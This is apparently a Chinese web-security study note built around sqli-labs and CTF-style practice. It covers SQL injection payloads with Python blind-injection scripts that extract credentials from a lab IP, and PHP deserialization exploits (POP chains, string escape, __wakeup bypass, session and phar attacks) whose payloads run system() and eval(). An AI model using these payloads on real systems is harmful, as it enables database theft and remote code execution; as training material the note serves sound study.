Web基础漏洞 SQL注入漏洞 什么是 Sql 注入 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
注意!!!下面的注入示例以sql-labs为例
联合注入 SQL语句的union联合注入的常用格式如下
1 select 1 ,2 ,3 from table_name1 union select 4 ,5 ,6 from table_name2;
而在注入过程中,我们把union select 4,5,6 from table_name2部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3==4,5,6均为3列。我们把这种注入方式称为union注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 / / 判断列数 ?id= 1 ' order by 3 --+ //判断回显点 -1' union select 1 ,2 ,3 / / 尝试利用回显点进行查询-1 ' union select 1,database(),version() --+ //获取所有数据库的名称 -1' union select 1 ,(select group_concat(schema_name) from information_schema.schemata),3 / / 获取数据库'security' 中的所有表名-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=' security'),3 --+ //获取' users'表内的字段信息 -1' union select 1 ,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name= 'users' ),3 / / 获取'username' 和'password' 字段内的信息,使用0x7e (~ )作用是充当连接符,方便查看-1 ' union select 1,(select group_concat(username,0x7e,password) from users),3 --+
报错注入 updatexml
1 2 3 4 5 6 7 8 9 10 11 / / 获取数据库名称 ?id= -1 ' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+ //获取数据库中所有表的名称 ?id=-1' and updatexml(1 ,concat(0x7e ,(select group_concat(table_name) from information_schema.tables where table_schema= database()),0x7e ),1 ) / / 获取'users' 表内的字段信息 ?id= 1 ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=' users'),0x7e),1) --+ //获取' username'和' password'字段内的信息 ?id=-1' and updatexml(1 ,concat(0x5c ,(select group_concat(username,0x7e ,password) from users),0x5c ),1 )
extractvalue
1 2 3 4 5 6 7 8 9 10 11 / / 获取数据库名称 ?id= 1 ' and (extractvalue(1,concat(0x5c,database(),0x5c))) --+ //获取数据库中所有表的名称 ?id=1' and (extractvalue(1 ,concat(0x5c ,(select group_concat(table_name) from information_schema.tables where table_schema= database()),0x5c )))/ / 获取'users' 表内的字段信息 ?id= 1 ' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=' users'),0x5c))) --+ //获取' username'和' password'字段内的信息 ?id=1' and (extractvalue(1 ,concat(0x5c ,(select group_concat(username,password) from users),0x5c )))
注意!!!
在使用报错函数进行数据回显的时候,往往会遇到字符长度限制的问题,此时使用group_concat函数进行单行输出是无法输出完整的,会限制其输出的内容在32字节,下面给出一个可行的解决方案:
1 2 //用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置 and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
布尔盲注 1 2 3 / / 判断是否存在布尔盲注 ?id= 1 ' and 1=2 --+ ?id=1' and 1 = 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 import requests url = "http://47.236.231.110:8001/Less-8/" result = "" for i in range (1 , 100 ): min_value = 33 max_value = 130 mid = (min_value + max_value) // 2 while (min_value < max_value): payload = "?id=1' and (ascii(substr(database(),{0},1))>{1}) --+" .format (i, mid) get_url = url + payload html = requests.get(get_url) get_url = '' if "You are in..........." in html.text: min_value = mid + 1 else : max_value = mid mid = (min_value + max_value) // 2 if (chr (mid) == "!" ): break result += chr (mid) print (result)print ("数据库名称是:" , result)for i in range (1 , 100 ): min_value = 33 max_value = 130 mid = (min_value + max_value) // 2 while (min_value < max_value): payload = "?id=1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}) --+" .format (i, mid) get_url = url + payload html = requests.get(get_url) get_url = '' if "You are in..........." in html.text: min_value = mid + 1 else : max_value = mid mid = (min_value + max_value) // 2 if (chr (mid) == "!" ): break result += chr (mid) print (result)print ("数据库中存在的表的名称是:" , result)for i in range (1 , 100 ): min_value = 33 max_value = 130 mid = (min_value + max_value) // 2 while (min_value < max_value): payload = "?id=1' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{0},1))>{1}) --+" .format (i, mid) get_url = url + payload html = requests.get(get_url) get_url = '' if "You are in..........." in html.text: min_value = mid + 1 else : max_value = mid mid = (min_value + max_value) // 2 if (chr (mid) == "!" ): break result += chr (mid) print (result)print ("表中的字段名是:" , result)for i in range (1 , 100 ): min_value = 33 max_value = 130 mid = (min_value + max_value) // 2 while (min_value < max_value): payload = "?id=1' and (ascii(substr((select group_concat(username,password) from users),{0},1))>{1}) --+" .format (i, mid) get_url = url + payload html = requests.get(get_url) get_url = '' if "You are in..........." in html.text: min_value = mid + 1 else : max_value = mid mid = (min_value + max_value) // 2 if (chr (mid) == "!" ): break result += chr (mid) print (result)print ("字段的值是:" , result)
时间盲注 1 2 / / 判断是否存在时间盲注 ?id= 1 ' and if(ascii(substr(user(),1,1))>1, sleep(5),0) --+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import requestsimport time url = "http://47.236.231.110:8001/Less-9/" result = "" for i in range (1 ,100 ): min_value = 33 max_value = 130 mid = (min_value+max_value)//2 while (min_value<max_value): payload = "?id=1' and if(ascii(substr(database(),{0},1))>{1}, sleep(2),0) --+" .format (i, mid) get_url = url + payload time1 = time.time() html = requests.get(get_url) time2 = time.time() get_url = '' time3 = time2 - time1 if time3 > 2 : min_value = mid+1 else : max_value = mid mid = (min_value+max_value)//2 if (chr (mid)=="!" ): break result += chr (mid) print (result)print ("数据库名称是:" ,result)for i in range (1 ,100 ): min_value = 33 max_value = 130 mid = (min_value+max_value)//2 while (min_value<max_value): payload = "?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}, sleep(2),0) --+" .format (i, mid) get_url = url + payload time1 = time.time() html = requests.get(get_url) time2 = time.time() get_url = '' time3 = time2 - time1 if time3 > 2 : min_value = mid+1 else : max_value = mid mid = (min_value+max_value)//2 if (chr (mid)=="!" ): break result += chr (mid) print (result)print ("数据库中存在的表的名称是:" ,result)for i in range (1 ,100 ): min_value = 33 max_value = 130 mid = (min_value+max_value)//2 while (min_value<max_value): payload = "?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{0},1))>{1}, sleep(2),0) --+" .format (i, mid) get_url = url + payload time1 = time.time() html = requests.get(get_url) time2 = time.time() get_url = '' time3 = time2 - time1 if time3 > 2 : min_value = mid+1 else : max_value = mid mid = (min_value+max_value)//2 if (chr (mid)=="!" ): break result += chr (mid) print (result)print ("表中的字段名是:" ,result)for i in range (1 ,100 ): min_value = 33 max_value = 130 mid = (min_value+max_value)//2 while (min_value<max_value): payload = "?id=1' and if(ascii(substr((select group_concat(username,password) from users),{0},1))>{1}, sleep(2),0) --+" .format (i, mid) get_url = url + payload time1 = time.time() html = requests.get(get_url) time2 = time.time() get_url = '' time3 = time2 - time1 if time3 > 2 : min_value = mid+1 else : max_value = mid mid = (min_value+max_value)//2 if (chr (mid)=="!" ): break result += chr (mid) print (result)print ("表中的字段名是:" ,result)
堆叠注入 CSRF跨站漏洞 SSRF服务端请求伪造漏洞 任意文件上传漏洞 XXE漏洞 反序列化漏洞 什么是反序列化漏洞 序列化:把对象转换为字节序列的过程称为对象的序列化,作用是对象状态的保存。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化,作用是重建对象。
web当中的几种典型反序列化漏洞:php反序列化、JAVA反序列化(shiro反序列化、fastjson反序列化)
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,sql注入,目录遍历等不可控的后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
序列化函数:serialize() //将一个对象转换成一个字符串 ,序列化
反序列化函数:unserialize()//将字符串转换为一个对象。反序列化
问题在于使用unserialize()将字节序列反序列化成对象时,存在变量可控,可以触发魔术方法
权限修饰符 public(公有):公有的类成员可以在任何地方被访问 。
private(受保护):受保护的类成员则可以被其自身以及其子类和父类访问
protected(私有):私有的类成员则只能被其定义所在的类访问
注意:访问控制修饰符不同 ,序列化后属性的长度和属性值会有所不同,如下所示:
public:属性被序列化的时候属性值会变成 属性名
protected:属性被序列化的时候属性值会变成 \x00*\x00属性名
private:属性被序列化的时候属性值会变成 \x00类名\x00属性名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __construct ():类的构造函数,对象创建完成后第一个被对象自动调用的方法__destruct ():类的析构函数,当对象被销毁时候自动触发__call ():在对象中调用一个不可访问方法时调用__callStatic ():用静态方式中调用一个不可访问方法时调用__get ():获得一个类的成员变量时调用__set ():设置一个类的成员变量时调用__isset ():当对不可访问属性调用isset ()或empty ()时调用__unset ():当对不可访问属性调用unset ()时被调用__sleep ():执行serialize ()时,先会调用这个函数__wakeup ():执行unserialize ()时,先会调用这个函数__toString ():类被当成字符串时的回应方法__invoke ():调用函数的方式调用一个对象时的回应方法__set_state ():调用var_export ()导出类时,此静态方法会被调用。__clone ():当对象复制完成时调用__autoload ():尝试加载未定义的类__debugInfo ():打印所需调试信息
construct&destruct construct()为构造函数,当创建完一个对象的时候自动触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class User { public $username ; public function __construct ($username ) { $this ->username = $username ; echo "触发了构造函数1次" ; } }$test = new User ("benben" ); $ser = serialize ($test );unserialize ($ser );?> 触发了构造函数1 次
destruct()为析构函数,当对象被销毁时候自动触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class User { public function __destruct ( ) { echo "触发了析构函数1次" ."<br />" ; } }$test = new User ("benben" ); $ser = serialize ($test );unserialize ($ser ); ?> 触发了析构函数1 次 触发了析构函数1 次
wakeup&sleep sleep :
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被序列化存储的成员属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; public function __construct ($username , $nickname , $password ) { $this ->username = $username ; $this ->nickname = $nickname ; $this ->password = $password ; } public function __sleep ( ) { system ($this ->username); } }$cmd = $_GET ['benben' ];$user = new User ($cmd , 'b' , 'c' ); echo serialize ($user );?>
wakeup :
触发时机:反序列化unserialize()之前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; private $order ; public function __wakeup ( ) { $this ->password = $this ->username; } }$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}' ; var_dump (unserialize ($user_ser ));?>
tostring&invoke tostring:
触发时机:把对象当成字符串去调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );class User { var $benben = "this is test!!" ; public function __toString ( ) { return '格式不对,输出不了!' ; } }$test = new User () ;print_r ($test );echo "<br />" ;echo $test ; ?>
把类$User
实体化并赋值给$test
,此时$test
是个对象,调用对象可以使用print_r
或者var_dump
如果使用echo
或者print
只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时触发__toString
invoke:
触发时机:把对象当成函数调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );class User { var $benben = "this is test!!" ; public function __invoke ( ) { echo '它不是个函数!' ; } }$test = new User () ;echo $test ->benben;echo "<br />" ;echo $test () ->benben; ?>
把类User
实体化并赋值给$test
为对象
正常输出对象里的值benben
加()
是把test
当成函数test()
来调用,从而触发invoke()
call 触发时机:调用一个不存在的方法
参数:2个参数传参
返回值:调用的不存在的方法的名称和参数
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public function __call ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } }$test = new User () ;$test -> callxxx ('a' ); ?>
调用的方法callxxx()
不存在,触发魔术方法call()
魔术方法call()
传参$arg1
、$arg2
(callxxx,a)
$arg1:调用的不存在的方法的名称
$arg2:调用的不存在的方法的参数
callStatic 触发时机:静态调用或调用成员常量时使用的方法不存在
参数:2个参数传参
返回值:调用的不存在的方法的名称和参数
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public function __callStatic ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } }$test = new User () ;$test ::callxxx ('a' ); ?>
注意:静态属性不需要实例化即可调用,因为静态属性存放的位置是在类里
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public function __callStatic ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } }User ::callxxx ('a' ); ?>
静态调用::
时的方法callxxx()
不存在
触发callStatic()
传参$arg1
,$arg2
(callxxx,a)
get 触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public $var1 ; public function __get ($arg1 ) { echo $arg1 ; } }$test = new User () ;$test ->var2; ?>
调用的成员属性var2
不存在
触发get()
把不存在的属性名称var2
赋值给$arg1
set 触发时机:给不存在的成员属性赋值
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public $var1 ; public function __set ($arg1 ,$arg2 ) { echo $arg1 .',' .$arg2 ; } }$test = new User () ;$test ->var2=1 ; ?>
给不存在的成员属性var2
赋值为1
时
先触发get()
再触发set()
$arg1:不存在成员属性的名称
$arg2:给不存在的成员属性var2
赋的值
isset 触发时机:对不可访问属性使用isset()
或empty()
时,isset()
会被调用
参数:传参$arg1
返回值:不存在的成员属性的名称
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class User { private $var ; public function __isset ($arg1 ) { echo $arg1 ; } }$test = new User () ;isset ($test ->var ); ?>
isset()
调用的成员属性var
不可访问或不存在
unset 触发时机:对不可访问属性使用unset()
参数:返回$arg1
返回值:不存在的成员属性的名称
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class User { private $var ; public function __unset ($arg1 ) { echo $arg1 ; } }$test = new User () ;unset ($test ->var ); ?>
unset()
调用的成员属性var
不可访问或不存在
触发unset()
返回$arg1
不存在成员属性的名称
clone 触发时机:当使用clone
关键字拷贝完成一个对象后,新对象自动调用定义的魔术方法__clone()
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class User { private $var ; public function __clone ( ) { echo "__clone test" ; } }$test = new User () ;$newclass = clone ($test ) ?>
使用clone()
克隆对象完成后,触发魔术方法__clone()
POP链 POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种Payload
例题一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );class index { private $test ; public function __construct ( ) { $this ->test = new normal (); } public function __destruct ( ) { $this ->test->action (); } }class normal { public function action ( ) { echo "please attack me" ; } }class evil { var $test2 ; public function action ( ) { eval ($this ->test2); } }unserialize ($_GET ['test' ]);?>
关联点: 如何让$tset
调用evil
里的成员方法action()
解决思路: 给$test
赋值为对象test = new evil()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class index { private $test ; public function __construct ( ) { $this ->test = new evil (); } }class evil { var $test2 = "system('ls');" ; }$a = new index ();echo urlencode (serialize ($a ));
1.构造命令语句
2.实例化对象index()
,自动调用__construct()
3.关联步骤:给$test
赋值实例化对象 test = new evil()
此时$a
为实例化对象index()
,其中成员属性$test = new evil()
,$test
为实例化对象evil()
,成员属性$test2 = "system('ls');"
例题二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );error_reporting (0 );class fast { public $source ; public function __wakeup ( ) { echo "wakeup is here!!" ; echo $this ->source; } }class sec { var $benben ; public function __tostring ( ) { echo "tostring is here!!" ; } }$b = $_GET ['benben' ];unserialize ($b );?>
在对象$a
里让source
赋值对象$b
在触发wakeup
后执行echo
从而触发sec
里的__toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class fast { public $source ; }class sec { var $benben ; }$a = new sec ();$b = new fast ();$b -> source =$a ;echo serialize ($b );
例题三:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php highlight_file (__FILE__ );error_reporting (0 );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } }class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } }class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); }?>
1.目标:触发echo,调用$flag
2.第一步:触发invoke,调用append,并使$var=flag.php(invoke触发条件:把对象当成函数)
3.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
4.第二步:触发get(触发条件:调用不存在的成员属性)
5.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法get
6.第三步:触发toString(触发条件:把对象当成字符串)
7.给$source赋值为对象Show,当成字符串被echo调用,触发toString
8.最终步:触发wakeup(触发条件:反序列化unserialize)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Modifier { private $var = 'flag.php' ; }class Show { public $source ; public $str ; }class Test { public $p ; }$mod = new Modifier ();$test = new Test ();$test ->p = $mod ;$show = new Show ();$show ->source = $show ;$show ->str = $test ;echo serialize ($show );?>
字符串逃逸 一般在数据先经过一次serialize
再经过unserialize
,在这个中间反序列化的字符串变多
或者变少
的时候才有可能存在反序列化属性逃逸
字符串逃逸增多例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; }class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } }$param =$_GET ['param' ];$param =serialize (new test ($param ));$profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo file_get_contents ("flag.php" ); }?>
目标逃逸代码:s:4:"pass";s:8:"escaping";}
php
被替换成hack
,字符串会增多,会吐出字符串变成结构代码,一个php
吐出一个字符,共需要吐出29个字符,包括补全结构";
1 2 Payload: phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:" pass";s:8:" escaping";}
字符串逃逸减少例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hk" ,$name ); return $name ; }class test { var $user ; var $pass ; var $vip = false ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } }$param =$_GET ['user' ];$pass =$_GET ['pass' ];$param =serialize (new test ($param ,$pass ));$profile =unserialize (filter ($param ));if ($profile ->vip){ echo file_get_contents ("flag.php" ); }?>
flag
被替换成hk
,字符串减少,会吃掉后面的结构代码,吃完";s:4"pass";s:6"
后,$pass
的值benben
可控,字符串逃逸
flag->hk
,吃一次少2个字符,要吃够19位最少要吃10次,多吃1位在后面补
需要吃掉的字符:1";s:4"pass";s:6:"benben";s:3:"vip";b:1}
1 2 3 Payload:user = flagflagflagflagflagflagflagflagflagflagpass = 1 ";s:4:" pass";s:6:" benben";s:3:" vip";b:1;}
wakeup魔术方法绕过 反序列化漏洞: CVE-2016-7124
PHP版本限制: PHP5<5.6.25;PHP7<7.0.10
漏洞产生原因: 如果存在__wakeup()
方法,调用unserilize()
方法前则先调用__wakeup()
方法,但是序列化字符串中表示对象属性个数 的值大于真实个数的属性个数时,会跳过__wakeup()
的执行
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (0 );class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } }$cmd =$_GET ['cmd' ];if (!isset ($cmd )){ highlight_file (__FILE__ ); }else { if (preg_match ('/[oc]:\d+:/i' ,$cmd )){ echo "Are you daydreaming?" ; } else { unserialize ($cmd ); } }?>
解题方法:
原序列化字符串:
1 O :6 :"secret" :1 :{s:4 :"file" ;s:8 :"flag.php" }
把成员属性的数量值修改为2,可以跳过__wakeup()
将O:6
写成O:+6
可以绕过正则的判断
1 O :+6 :"secret" :2 :{s:4 :"file" ;s:8 :"flag.php" }
进行urlencode
后提交
1 O %3 A%2 B6%3 A%22 secret%22 %3 A2%3 A%7 Bs%3 A4%3 A%22 file%22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 B%7 D
exp:
1 2 3 4 5 6 7 8 9 <?php class secret { var $file = 'flag.php' ; }$a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}' ;echo urlencode ($a );
序列号过程中的引用 例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );class just4fun { var $enter ; var $secret ; }if (isset ($_GET ['pass' ])) { $pass = $_GET ['pass' ]; $pass =str_replace ('*' ,'\*' ,$pass ); }$o = unserialize ($pass );if ($o ) { $o ->secret = "*" ; if ($o ->secret === $o ->enter) echo "Congratulation! Here is my secret: " .$flag ; else echo "Oh no... You can't fool me" ; }else echo "are you trolling?" ;?>
障碍:$pass
获取值pass
后,str_place
把*替换掉
思路:通过构造$pass
的值pass
使$enter=*
$o
为反序列化$pass
后的对象,且赋值secret="*"
最终目的:secret===enter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class just4fun { var $enter ; var $secret ; }$a = new just4fun ();$a -> enter = &$a -> secret;echo serialize ($a ); Payload:
session反序列化 当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化后,存储到指定目录(默认为/tmp)
session默认情况下用php格式存储:
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );error_reporting (0 );session_start ();$_SESSION ['benben' ] = $_GET ['ben' ];?> ?ben=dazhuang benben|s:8 :"dazhuang" php:键名+竖线+经过serialize ()函数序列化处理的值
session存储格式为php_serialize:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['benben' ] = $_GET ['ben' ];$_SESSION ['b' ] = $_GET ['b' ];?> ?ben=dazhuang&b=666 a:2 :{s:6 :"benben" ;s:8 :"dazhuang" ;s:1 :"b" ;s:3 :"666" ;} php_serialize:经过serialize ()函数序列化处理的数组
session存储格式为php_binary:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php_binary' );session_start ();$_SESSION ['benben' ] = $_GET ['ben' ];$_SESSION ['b' ] = $_GET ['b' ];?> ?ben=dazhuang&b=666 ACKbenbens:8 :"dazhuang" ;SOHbs:3 :"666" ; php_binary:键名的长度对应的ASCII字符+键名+经过serialize ()函数序列化处理的值
例题一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['ben' ] = $_GET ['a' ];?> <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();class D { var $a ; function __destruct ( ) { eval ($this ->a); } }?>
当网站序列号并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生
1 2 3 4 5 <?php class D { var $a = "system('whoami');" ; }echo serialize (new D ());
Payload:
1 |O:1:" D":1:{s:1:" a";s:17:" system('whoami');";}
例题二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } }?> <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
rand
随机生成1到10000中的一个数字并md5加密后赋值给her
目标使得name===her
exp:
1 2 3 4 5 6 7 8 9 <?php class Flag { public $name ; public $her ; }$a = new Flag ();$a -> name = &$a -> her;echo serialize ($a );
Payload:
1 | O : 4 : "Flag" : 2 : { s : 4 : "name" ; N ; s : 3 : "her" ; R : 2 ; }
phar反序列化漏洞 phar(PHP ARchive)是PHP里类似于JAR的一种打包文件
对于PHP5.3或更高版本,phar后缀文件是默认开启支持的,可以直接使用它
文件包含:phar伪协议,可读取.phar文件
phar结构 stub phar 文件标识,格式为xxx<?php< xxx;__HALT_COMPiLER();?>;
(头部信息)
manifest 压缩文件的属性等信息,以序列化存储
contents 压缩文件的内容
signature 签名,放在文件末尾
phar协议解析文件时,会自动触发对manifast
字段的序列化字符串进行反序列化
phar漏洞原理 manifast
压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串
调用phar
伪协议,可读取.phar
文件
phar
协议解析文件时,会自动触发对manifast
字段的序列化字符串进行反序列化
phar
需要 PHP>=5.2
在php.ini中将phar.readonly
设为off
例题一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );class Testobj { var $output ="echo 'ok';" ; function __destruct ( ) { eval ($this ->output); } }if (isset ($_GET ['filename' ])) { $filename =$_GET ['filename' ]; var_dump (file_exists ($filename )); }?>
exp模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Testobj { var $output ='' ; } @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new Testobj ();$o ->output='eval($_GET["a"]);' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.phar" ,"test" ); $phar ->stopBuffering ();?>
phar使用条件
phar文件能上传到服务器端
要有可用的反序列化魔术方法作为跳板
要有文件操作函数,如file_exists(),fopen(),file_get_contents()
文件操作函数参数可控,且:/ phar等特殊字符没有过滤
例题二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } }$filename = $_POST ['file' ];if (isset ($filename )){ echo md5_file ($filename ); }?>
目标: echo $flag
反序列化TestObject()触发__destruck执行echo $flag
$_POST提交file赋值$filename
if语句isset判断$filename内容生成md5哈希值
解题步骤:
生成一个phar文件,在mate-data里放置一个包含TestObject()的序列化字符串
上传文件
md5_file执行phar伪协议,触发反序列化
反序列化TestObject()触发__destruck执行echo $flag
phar文件生成脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class TestObject { var $output ='' ; } @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new TestObject ();$o ->output='eval($_GET["a"]);' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.phar" ,"test" ); $phar ->stopBuffering ();?>
生成的phar文件修改为jpg格式文件上传(phar文件的后缀可以任意修改,不影响解析利用)
Payload:
1 file =phar://upload/test .jpg
暴力破解漏洞